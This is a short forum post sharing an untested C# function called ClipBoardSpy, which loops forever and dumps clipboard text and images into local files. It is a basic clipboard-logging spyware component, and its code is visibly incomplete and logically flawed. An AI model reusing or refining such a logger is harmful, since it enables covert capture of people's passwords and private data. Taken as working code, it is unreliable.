So, I was bored and ended up throwing a bunch of functions into a class library because I couldn't think of something to do. This is one of those functions:
Code:
public static void ClipBoardSpy()
{
while (true)
{
if (Clipboard.ContainsText())
{
string cliptext = Clipboard.GetText();//Gets text from the clipboard and stores it in cliptext.
string part = "||~||";//Separator for telling the difference between text dumps.
File.AppendAllText("ClipDump.txt", cliptext += part);//Appends cliptext to the specified file, and adds our separator. Creates file if it doesn't exist.
}
if (Clipboard.ContainsImage())
{
ImageConverter converter = new ImageConverter();//Creates an instance of the ImageConverter class.
byte[] imgbuf = (byte[])converter.ConvertTo(Clipboard.GetImage(), typeof(byte[]));//Explicitly(using a cast) converts img to a byte array, saving it in imgbuf.
File.WriteAllBytes(Guid.NewGuid().ToString(), imgbuf);//
}
General.Sleep(2500);
if ((!Clipboard.ContainsText()) && (!Clipboard.ContainsImage()))
{
break;
}
}
I'm not a very experienced coder/programmer, so most of you will probably find errors with this or see more efficient ways to do it or find holes in the logic, but I haven't tested this and I'm just throwing it out there as an idea. BTW: This section is dead. Why aren't there more people here?!